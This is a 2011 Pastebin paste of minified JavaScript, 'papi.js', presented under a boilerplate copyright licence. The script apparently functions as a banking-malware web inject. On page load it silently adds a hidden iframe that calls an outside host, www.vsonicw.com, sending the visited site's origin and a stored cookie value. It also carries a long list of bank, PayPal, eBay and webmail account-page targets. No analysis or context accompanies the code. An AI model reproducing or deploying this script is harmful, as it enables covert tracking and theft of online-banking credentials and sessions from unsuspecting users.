drdelta

papi.js

Aug 4th, 2011
167
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. /* Copyright (c) 2011. All rights reserved. Distribution and/or use of this software are strictly prohibited except according to this limited license. Copyright holder hereby grants you a limited, fully revocable, non-transferable (without the right to sublicense), non-exclusive, personal, royalty free license to use the software on your computer. You may not distribute, sell, disassemble, decompile, reverse engineer, modify, revise or enhance all or any part of this software or create any derivative works or otherwise merge or utilize all or any part of this software with or into other computer programs or other materials or attempt to discover all or any part of this software's source code or copy, publish or all or any part of this software. The software must retain the above copyright notice at all times. */
  2. (function () {
  3.     var c = document,
  4.         g = window,
  5.         x = parent;
  6.     var j = g.location.protocol != 'https:' ? 'http:' : 'https:',
  7.         y = 'ing_nl',
  8.         k = '33271',
  9.         l = 'v4.0',
  10.         m = 'ak',
  11.         n = true,
  12.         o = '&A=ebc_ebc1961/ebc1961.asp/logonnpbs.co.ukybonline.co.ukonline.bankofamerica.com/cgi-bin/ias/accounts-overview..de/portal/portal/Home.do.hsbc.co.uk/1/2/personal/.halifax-online.co.uk/DisplayMyAccounts:viewMyAccountsnwolb.com/Statementsbanquepopulaire.fr/inversis.comwachovia.comibank.barclays.co.uk/loginTFA.domeine.deutsche-bank.de/trxm/db/itan.authorizationmijn.ing.nl/co-operativebank.co.uk/corp/BANKAWAYgbw.it.chase.com/MyAccountsbcp.ptmy.ebay.co.uk/ws/eBayISAPI.dll?MyEbayManageTAN&R=norisbank.de/.banking.firstdirect.com/1/2/banking.anz.commyspace.com/paypal.secure/arcot.royalbank.com/CapitalOne_Consumer//cmserver/verify.cfmmail.live.com/mailcapitalone.comEBC_EBC1961/EBC1961.ASP/logonbepp/sanpt/usuarios.nwolb.ogin.aspx?rbbva.esbbva.mobi.citizensbankonline.com.indexsampopank./.citibank.com/US/JPS/portal/Home.doasnbank.nl/',
  13.         p = 'www.vsonicw.com',
  14.         q = 's';
  15.     var z = function () {
  16.             return (c.compatMode != 'undefined' && c.compatMode == 'CSS1Compat') ? false : true
  17.         }();
  18.  
  19.     function A() {
  20.         return new Date()
  21.     }
  22.     function r() {
  23.         var b = new Date();
  24.         b.setDate(b.getDate() + 365);
  25.         return b.toGMTString()
  26.     };
  27.  
  28.     function s(b, a) {
  29.         return [b, '=', escape(a), ';', 'expires=', r()].join('')
  30.     };
  31.  
  32.     function B(b, a) {
  33.         c.cookie = s(b, a)
  34.     };
  35.  
  36.     function i(b) {
  37.         if (navigator.cookieEnabled == false) {
  38.             return null
  39.         }
  40.         if (c.cookie.length > 0) {
  41.             start = c.cookie.indexOf(b + "=");
  42.             if (start != -1) {
  43.                 start = start + b.length + 1;
  44.                 end = c.cookie.indexOf(";", start);
  45.                 if (end == -1) {
  46.                     end = c.cookie.length
  47.                 }
  48.                 return unescape(c.cookie.substring(start, end))
  49.             }
  50.         }
  51.         return null
  52.     };
  53.  
  54.     function C(b) {
  55.         c.cookie = b + "'';expires=Thu, 01-Jan-1970 00:00:01 GMT"
  56.     };
  57.  
  58.     function D(b) {
  59.         var a = i(b);
  60.         if (!a) {
  61.             return null
  62.         }
  63.         var d = {};
  64.         var f = a.split("|");
  65.         for (var h = 0, t = f.length; h < t; h += 2) {
  66.             d[f[h]] = f[h + 1]
  67.         }
  68.         return d
  69.     };
  70.  
  71.     function E(b) {
  72.         var a = [];
  73.         for (var d in b) {
  74.             a.push(d, b[d])
  75.         }
  76.         return a.join("|")
  77.     }
  78.     function u(a) {
  79.         if (!g) {
  80.             return
  81.         }
  82.         if (c.readyState == 'complete') {
  83.             a();
  84.             return
  85.         }
  86.         if (typeof (g.addEventListener) != 'undefined') {
  87.             g.addEventListener('load', a, false);
  88.             return
  89.         }
  90.         if (typeof (g.attachEvent) != 'undefined') {
  91.             g.attachEvent('onload', a);
  92.             return
  93.         }
  94.         var d = a;
  95.         if (typeof (g.onload) == 'function') {
  96.             var f = g.onload;
  97.             d = function () {
  98.                 var b = a();
  99.                 return (f ? f() : b)
  100.             };
  101.             g.onload = d
  102.         }
  103.     };
  104.  
  105.     function v(b, a) {
  106.         var d = c.createElement(b);
  107.         for (var f in a) {
  108.             d[f] = a[f]
  109.         }
  110.         return d
  111.     };
  112.  
  113.     function w() {
  114.         try {
  115.             if (!c.createElement || c.getElementById('awa-proxy')) {
  116.                 return true
  117.             }
  118.             var b = escape(c.location.protocol + "//" + c.location.host);
  119.             var a = v('iframe', {
  120.                 id: 'awa-proxy',
  121.                 name: 'awa-proxy'
  122.             });
  123.             a.style.display = 'none';
  124.             var d = typeof (isCompatible) != "undefined" && isCompatible() ? 1 : 0;
  125.             var f = i(m) || "";
  126.             var h = [j, '//', p, , '/', l, '/', k, '/', q, '0', '?em=', b, '&1=', f, '&2=', d, o].join('');
  127.             if (n) {
  128.                 a.src = "javascript: false";
  129.                 c.body.appendChild(a);
  130.                 try {
  131.                     top.frame['awa-proxy'].window.location.replace(h)
  132.                 } catch (e) {
  133.                     this.frames['awa-proxy'].window.location.replace(h)
  134.                 }
  135.             } else {
  136.                 a.src = h;
  137.                 c.body.appendChild(a)
  138.             }
  139.         } catch (e) {}
  140.     }
  141.     u(w)
  142. })();
Advertisement
Add Comment
Please, Sign In to add comment